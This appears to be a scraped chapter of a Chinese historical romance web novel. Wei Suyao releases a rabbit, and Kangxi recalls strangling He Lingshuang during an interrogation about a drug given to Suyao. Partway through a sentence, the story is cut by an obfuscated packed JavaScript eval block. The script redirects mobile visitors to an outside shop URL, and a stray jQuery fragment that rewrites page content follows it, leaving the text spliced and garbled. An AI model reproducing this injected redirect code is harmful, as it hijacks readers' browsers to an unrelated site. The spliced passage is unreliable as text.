饶是卫素瑶再想得开,也总有个剥离的过程。
她就是觉得难以接受,为什么他就不能提前问一问她?这影响很大吗?她会碍事吗?她会露馅吗?
如果她不值得信任,为什么曹寅就可以提前透露她一些信息?
说到底,在康熙眼里,她就不需要知道太多,不需要思考太多,只要接受他给的。
她把自己关在屋里难过了一阵,听到门外的康熙总算走开后,她松了一口气。
突然很想暴饮暴食。
她洗把脸后去厨房找吃的,那儿的太监们对她很热情,她来者不拒地拿了很多吃食,多是野味肉食和当地种的果蔬。
不太快乐地吃了个撑,打了个嗝,她很麻木地感到还能一直吃下去,别浪费食物。
吃。
吃了会儿眼泪又莫名其妙掉下来,砸在烤羊腿上,带着些香料从肉缕间滴下去。
吃。吃。
门外忽有人敲门,她动作一顿,摸着圆滚滚的肚子,站起来吱嘎一声拉开椅子。
一团圆滚滚的球从门槛上滚进来,滴溜飞蹿到桌底下。
卫素瑶觉得她简直饱到步履蹒跚,像个行动迟缓的老奶奶,她捂着胃,艰难俯身去看那团白球。
是只兔子。
好白,肚子跟她差不多圆。但肉不松弛,结实壮硕,肉质应该很好。
野兔怎么会跑到她这里来?
她伸手去捉,兔子立刻在屋中四蹿,动作灵捷,像白色闪电。
卫素瑶的眼珠子跟着它瞟动,一时竟忘了其他事,只想把它捉住。她虽然动作慢,但有策略,一一把它行动范围挡了,越缩越小,最终野兔被她困在墙角,她整个人往前扑去,把团毛球拱进怀中,同时胃受到冲击,差点没对着兔子吐一身。
“傻兔子,你是看我能吃,跑进来给我吃的吗?”她摸了把兔毛,发现又白又干净,无一点草泥,仔细一闻,还有皂角和杜若的香气。
“你连香料都给自己腌好了。”这话把她自己逗笑了,凄然的脸上明眸善睐。
她抱着兔子去到门外,两下里张望,没看见人,不由心存疑惑,难道真是误闯进来的?
卫素瑶低头对兔子说:“我放你回去好不好?”
随即她抱着兔子往野外去,一路上遇到太监,遇到老嬷嬷,遇到曾经一起打过牌的侍卫,也遇到当地海户。他们都很友好热情地同她打招呼,打完招呼,又都一脸新奇地看她怀中的兔子。
“好白一兔子,跟捧雪似的。”
“真好玩,软软的,真有意思,我再摸两下可以吗?”
“卫姑娘自己捉来的么?这是要带它去觅食吗?那你去厨房要点白菜帮子,兔子可爱吃了!”
于是卫素瑶折返回厨房,想给兔子先喂点东西。到了厨房,又引来相似的惊叹声,大家围着兔子,你摸一下,他戳一下。
之后白菜帮子青菜叶子纷纷送到兔子嘴边,再之后又被人说不能这么乱喂,大家才收手,又开始你摸一下,他戳一下。
卫素瑶被围在中间,不由自主随大家笑而笑,随大家叹而叹。她的私有的悲伤很快被忽略,只剩从众的喜悦。
-
“曹侍卫也来看兔子吗?”桂珠在厨房外头问。
曹寅眼睛往里瞟一下,看到一堆人簇拥在一起。
“哦,有兔子?”
“是啊,卫姑娘捉了只野兔,有这么大!”桂珠兴奋地比划着,“像山里成了精的!”
曹寅的扇尖往桂珠肩上轻拍,嘴角咧开,“你才成了精!”
他收笑,一本正经问:“那卫姑娘打算爆炒还是烤了吃?”
桂珠原先笑嘻嘻的,一时表情凝固,骇然道:“爆炒?不不不,曹侍卫,这么可爱的兔子怎么能拿来吃?”
曹寅一听不对,“那她来厨房做什么?”
“卫姑娘给兔子要白菜帮子呢,说是准备放生,这是临走饯行来着。”
曹寅往里侧目,忍俊不禁,“饯行排场还挺大哈。”
说着哗啦挥开扇面,走进厨房内,野味炙烤的香气扑鼻,瓜果清香被压下去,周身充斥新鲜食物味。
他只在人群外围踱了会,感受他们对一只兔子的热情,偶尔听到里头传出熟悉的清脆声音,心里就像被柔软丝绸触到般舒服。
-
被围在人堆里终究有点闷,卫素瑶胃里撑,想去外面多走走,一移眼,似乎在人群之外看见个熟悉身影,叫她条件反射地有点激动。
等她抱着兔子向南苑父老乡亲告辞,走出厨房后,却再没见着那身影。
她一路往马场去,太阳开始往西移动,赤金的光披挂在远处山野里每一棵树的树冠上,像绿布上织金的花纹。
她看到了熟悉的小红马,用脸蹭了蹭它背上的红鬃毛,解去缰绳,动作不太流畅地蹬上去,一手牵着缰绳,一手抱着兔子,慢慢地往前骑去。
-
方云姑跪在庭前不停为自己辩解。
“皇上,奴才只是想给卫姑娘诊脉,她不依,奴才也没办法,想着搭一搭就完事儿,就……”
康熙铁青脸,“你就强捉她搭脉?”他负手背过身,气笑了,“朕从未见过这样搭脉的!方云姑,你还以为是替皇后教训下人?睁大你的眼睛看看她是谁!”
方云姑浑身震动,委屈撇嘴,“奴才不是有意的。”
康熙在原地踱来踱去,忽而将利目射向她,指着她道:“要不是你有些医术傍身,凭你当初所为,朕早你发配出去了!”
方云姑低下头嗫嚅,“奴才谢皇上开恩,那皇上...要不请徐院正去......”
“你去。”
方云姑挠了挠脖子,一脸懵,“皇上,您为什么不叫徐医正去看呢?奴才的医术哪及得上徐医正?”
话到一半,寒光射来,方云姑赶紧砰砰磕几个头,“奴才多嘴!奴才多嘴!奴才这就去给卫姑娘看诊!”
说着连滚带爬地出去,还跑错了方向,跟梁九功撞个满怀,梁九功给她指了路,她才慌慌张张去了。梁九功看着她直叹气。
康熙胸口依然起伏。
为什么不找徐医正?倒被她问到点上了。
审问贺凌霜的时候,她说:“有件事只能告诉你一人,我要单独和你说。”
他屏退左右,叫她开口。
如瀑乌黑中露出一张尖白脸,贺凌霜双目黑亮盯着他笑,带着畅快的、幸灾乐祸的、期待的神情,“康熙,你知道吗?你就是算计得太好,错过了我给你的准备的大礼,哈哈哈哈哈,哈哈哈哈,哈哈哈。”
他丝毫不感兴趣,“劳你有心。”
他太平静,但贺凌霜不气馁,她的脸孔在夜色中凄艳如鬼,嗓音又媚又尖,有心要掀起康熙心中波浪,“我的徒儿不开窍,荣华富贵在眼前,她捡起来只看不拿!叫你心里又愁又痒,却奈她不得,我这做师父的只能推她一把!”
康熙睨去一眼,波澜不惊地问:“你做了什么?”
贺凌霜一边整理衣袍,一边随口抖落她的筹码:“没什么,就是下了点药。”
康熙面覆寒霜,贺凌霜挑眉一笑,他终于露出一点她期待中的表情。
可是下一秒,贺凌霜的喉咙就被一张大手扼住,整个人被往上提,静夜里,她耳畔甚至能听到手腕和指节的咔咔响。
她不由去掰他的手,可是那点力气同他比起来悬殊,丝毫不能影响他。身体中的气只出不进,她逐渐无力,瞳孔直勾勾盯着康熙,两个眼珠子黑得像洞。
他又将她往上一提,“下了什么药!”
“我不告诉你......”贺凌霜的声音完全哑了,每一个字都像是从喉咙里挤出来的,五官痛苦到扭曲,饶是如此,她还是因为看到了他的怒火和气急败
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163706|138799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
坏而感到高兴,为此极力扯开一个夸张的笑,“你这样……对我,我可不告诉你,你......休想知道。”
“说!”康熙收紧指骨,贺凌霜张着嘴发出“呃呃”哑响,似乎只要他再多用一分力,贺凌霜的脖子就会像树枝一样被折断。
贺凌霜笑容凝滞,皱紧眉心,再也笑不出说不出。
康熙倏然松开手,眼里情绪消逝,他像扔一件猎物似的将贺凌霜掼倒在地。贺凌霜摸着脖子蜷缩成一团,剧烈咳嗽。
康熙冷眼看她,“朕有一百种方式叫你开口,你现在说还可死得周全些。”
贺凌霜摸着脖子,哑声说:“急什么,你早晚会知道,你自己去问她,她知道的,可她不见得肯告诉你。”想到此处,她顶着沙哑的嗓子,咯咯咯笑个不停,笑一阵又咳一阵,显得十分诡异。
远处几名兵卫握刀闻声赶来,见康熙完好伫立,又立刻退去。
康熙沉声问:“解药在哪?”
“解药?”贺凌霜一愣,眼中涌起诙谐之色,仿佛听到十分好笑的话,又像是迎头接收一桩天大的惊喜,她眼睛一亮,兴奋而激动地问康熙:“前天晚上,在你营帐里的人是不是曹寅?”
她问完,安静抿嘴,一眨不眨盯着康熙,显然对她来说,这答案十分重要。
康熙审视她,“你还没回答朕。”
“你先告诉我,营帐中的是不是曹寅?!”
“解药在何处?”
两人对峙片刻,又以贺凌霜大笑告终。
她似乎想明白了什么,癫狂地拍打自己的大腿,喃喃道:“怪不得他没去打猎!怪不得他先一天受了伤!”她大笑,又边咳边说,“营帐里的是曹寅,不是纳兰性德,是曹寅,是曹寅是曹寅哈哈哈哈,哈哈哈!”
她眼里充满戏谑之意,“康熙,我告诉你解药在哪,解药我给了卫素瑶!你问她去吧!只是她绝不会告诉你!她一个字都不会说!你是不是好奇她为何不会说?不能说,这我绝不说,你自己去发现,多有意思,这多有意思!”她拍腿大笑不止。
当时他觉得贺凌霜语无伦次,一定是疯了,不再理会,把她扔给别人去审。
现在想来,心里的疑团越来越大,他甚至有种可怕的直觉,直指难以启齿的一种可能。这种可能在富嬷嬷和小禄子回禀情况后飚向最高峰,让他一夜难眠。
不问,就当贺凌霜是疯子,掐灭猜疑是对他们三人最好的方式。
可若不问,他就永不会知道,而这世上怎能有皇帝不得知的秘密?
康熙闭眼,内心的挣扎过于剧烈而泛浮于脸上,吸入肺腑的空气像一支又一支冷箭,嗖嗖地扎向他心底。
睁开眼后,他又恢复了平静模样,岿然伫立,如同千年不变的雪山,他只微微侧目,“梁九功,陪朕去看看。”
“看……什么?”梁九功亦在思虑不定,冷不防被喊,惊醒了似的。
“方云姑靠不住,朕不放心。”
梁九功忽的想起什么,柔声问:“万岁爷,她晌午不是去过一次了?”
“终究素瑶身子要紧,诊个脉朕才放心。”
梁九功点头,他听进去了,心里却还是有疑团,几次想要问出口又咽回。
康熙睨他,“你想说什么就开口。”
梁九功道:“爷,奴才实在想不明白,您怎么让方云姑去?她那样冒失,又喜自作主张,医术也远不如徐医正,再说要不是她,卫姑娘也不会误会您。”
康熙冷哼,“还有你这七窍玲珑心想不明白的事?”
梁九功摸了把光亮额头,“真想不明白。”
康熙盯着梁九功看了会,微笑道:“你也想不明白,朕就放心了。”
梁九功如坠雾中,挤点笑应个景,仰头看天色,“奴才这糊涂脑袋,哪能懂万岁爷呐,哎,这天到了晚上一下就凉得厉害,奴才给您拿件斗篷。”